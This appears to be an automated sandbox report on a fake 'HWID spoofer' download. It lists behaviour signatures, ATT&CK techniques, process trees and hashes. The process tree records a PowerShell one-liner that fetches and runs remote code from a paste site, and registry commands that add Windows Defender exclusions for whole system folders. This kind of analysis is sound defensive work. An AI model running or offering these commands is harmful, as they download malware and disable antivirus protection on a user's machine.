hxxp://filesharing[.]s[.]gy/syntex-hwid-spoofer

Analysis

user interaction
yes
max time kernel
11s
max time network
95s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/07/2026, 04:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://filesharing.s.gy/syntex-hwid-spoofer
Sample260716-e31edscz9l

Score

8^/10

costura discovery execution packer persistence ransomware

Malware Config

Signatures

Downloads MZ/PE file

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral1/files/0x0007000000018773-274.dat	costura

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3556	powershell.exe
4372	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4484	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134286497326191903"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{2A879C7A-1C68-46EB-9EB7-EB3778E66543}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe

Suspicious use of FindShellTrayWindow 41 IoCs

pid	Process
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 3436	4084	msedge.exe	87
PID 4084 wrote to memory of 4968	4084	msedge.exe	88
PID 4084 wrote to memory of 4484	4084	msedge.exe	89
PID 4084 wrote to memory of 4968	4084	msedge.exe	88
PID 4084 wrote to memory of 4968	4084	msedge.exe	88
PID 4084 wrote to memory of 4452	4084	msedge.exe	90
PID 4084 wrote to memory of 4452	4084	msedge.exe	90
PID 4084 wrote to memory of 4308	4084	msedge.exe	92
PID 4084 wrote to memory of 4308	4084	msedge.exe	92
PID 4084 wrote to memory of 4308	4084	msedge.exe	92
PID 4084 wrote to memory of 1900	4084	msedge.exe	93
PID 4084 wrote to memory of 1900	4084	msedge.exe	93
PID 4084 wrote to memory of 1900	4084	msedge.exe	93
PID 4084 wrote to memory of 3132	4084	msedge.exe	94
PID 4084 wrote to memory of 3132	4084	msedge.exe	94
PID 4084 wrote to memory of 3132	4084	msedge.exe	94
PID 4084 wrote to memory of 6116	4084	msedge.exe	95
PID 4084 wrote to memory of 6116	4084	msedge.exe	95
PID 4084 wrote to memory of 6116	4084	msedge.exe	95
PID 4084 wrote to memory of 4992	4084	msedge.exe	97
PID 4084 wrote to memory of 4992	4084	msedge.exe	97
PID 4084 wrote to memory of 4992	4084	msedge.exe	97
PID 4084 wrote to memory of 2148	4084	msedge.exe	98
PID 4084 wrote to memory of 2148	4084	msedge.exe	98
PID 4084 wrote to memory of 4556	4084	msedge.exe	99
PID 4084 wrote to memory of 4556	4084	msedge.exe	99
PID 4084 wrote to memory of 4228	4084	msedge.exe	101
PID 4084 wrote to memory of 2876	4084	msedge.exe	104
PID 4084 wrote to memory of 2876	4084	msedge.exe	104
PID 4084 wrote to memory of 2876	4084	msedge.exe	104
PID 4084 wrote to memory of 5792	4084	msedge.exe	105
PID 4084 wrote to memory of 5792	4084	msedge.exe	105
PID 4084 wrote to memory of 5956	4084	msedge.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://filesharing.s.gy/syntex-hwid-spoofer
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x238,0x274,0x7ff9cfa8c188,0x7ff9cfa8c194,0x7ff9cfa8c1a0
  2⤵
  PID:3436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1556,i,11034524581885236387,5238348803073321951,262144 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:2
  2⤵
  PID:4968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,17506708634103955416,17493115130702414043,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:11
  2⤵
  - System Time Discovery
  PID:4484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2344,i,1583247803718266527,539062058718598749,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:13
  2⤵
  PID:4452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,16464024790593130748,10841221057675526598,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
  2⤵
  PID:4308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3700,i,4612478662012501444,7090645116399499159,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:1
  2⤵
  PID:1900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4344,i,15628210039577116953,6960564101041629773,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:1
  2⤵
  PID:3132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4376,i,11811069548023134091,12038948229007197545,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:9
  2⤵
  PID:6116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3780,i,1149523323545531986,11534542641679108898,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:1
  2⤵
  PID:4992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5148,i,2454023127023545044,9631552284399115457,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:14
  2⤵
  PID:2148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5500,i,15039626951008114398,6971029190720723881,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:14
  2⤵
  PID:4556
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6232,i,482848147556565101,16938927737756887264,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
  2⤵
  PID:2276
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6232,i,482848147556565101,16938927737756887264,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
  2⤵
  PID:4228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6728,i,8547744163489772613,16101274613373456727,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=6796 /prefetch:1
  2⤵
  PID:2876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5288,i,1739961326312068161,7910362992137583713,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=6732 /prefetch:14
  2⤵
  PID:5792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7208,i,7779609235065291847,10715138710741668842,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=7212 /prefetch:14
  2⤵
  PID:5956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=808,i,8201938092436815473,17860425291924417749,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:14
  2⤵
  PID:4728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=804,i,1070561370527190698,2136123712905436008,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:14
  2⤵
  PID:616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,6033757654447526943,894466992531287351,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:14
  2⤵
  PID:4208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6280,i,8191848460877346835,14873335519092362620,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:1
  2⤵
  PID:4244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7004,i,18313141325279088831,16363600527884441163,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=7032 /prefetch:1
  2⤵
  PID:3272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=2552,i,7327174472147483807,16498041333535238316,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=5764 /prefetch:1
  2⤵
  PID:3428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6244,i,10594213101077912632,10812088611288994553,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=6928 /prefetch:14
  2⤵
  PID:4448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3656,i,18355567611753374767,736367512428448050,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:12
  2⤵
  PID:3952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=3836,i,3070387401709099665,2090872807187599939,2097152 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:6872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7284,i,17679312446326823551,14137269711074457100,524288 --field-trial-handle=2292,i,7519064605589488013,8864335842871461343,262144 --variations-seed-version --mojo-platform-channel-handle=7328 /prefetch:14
  2⤵
  PID:7056

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3180

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2520

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3952

C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Spoofer.exe
"C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Spoofer.exe"
1⤵
PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://pastefy.app/tBTPaWWa/raw | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3556
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3712
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:6116
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4808
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zjuk31u2\zjuk31u2.cmdline"
    3⤵
    PID:1776
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7565.tmp" "c:\Users\Admin\AppData\Local\Temp\zjuk31u2\CSCAB0F0144B140BD896E85A2861D869B.TMP"
      4⤵
      PID:3012
- - C:\Users\Admin\AppData\Local\Temp\tempcache.exe
    "C:\Users\Admin\AppData\Local\Temp\tempcache.exe"
    3⤵
    PID:4328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@NumbYYT-u5m
      4⤵
      PID:1492

C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Spoofer.exe
"C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Spoofer.exe"
1⤵
PID:5304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://pastefy.app/tBTPaWWa/raw | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4372
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:2028
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4984
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3896
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wtq1j4kl\wtq1j4kl.cmdline"
    3⤵
    PID:3940
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8860.tmp" "c:\Users\Admin\AppData\Local\Temp\wtq1j4kl\CSCD9160250AE8B497A8AB01078A4EE897.TMP"
      4⤵
      PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:7040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 83ce0094a2dce483cb93948754565331624cc78d76e80c93cb7bff1d07509da7
MD5 06e3662e2809aa53d8edb18c20429054
SHA1 45f79275fcf772544a15f765ebd5baf3371c083a
SHA512 98d55d7759d1dab09958cacdb537e39259c091df9e56e07dc3feb67a76e5abcf1b1fe4c1fcb827dbe03a0ae9a80c54262acb34066868fbb7e951e48604f7a926
TLSH
T114718318C3A959C1FF67F570B5D0589531FA968601F32E012C682DF1900AFA2F9CCB97
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 72e9451dc35e55f6f5eb9c79c4dddc5d62f66baeea5aabbc33f134a653cb2f21
MD5 dd396f07650afda02abe61e112423e29
SHA1 8c788de7030f458c723e4d4d4d7d8fa86aafa9ee
SHA512 3634203b36d66f16b7283df95f6dc40a4bda8549c526e5ff09142cdee1be4e76ab63909e06e8192aa11263003a8afe2ea4560b3e299fcecd0505bb94604ca8c1
SSDEEP 48:a2s/wSOb00CM0dO/AG73/ktjnZsps6CfTL15A7OwK8OB/xpM7hNUDfl3U:a2iLKd0dOAqvYjnZn7TL7A3EJxpMfUZE
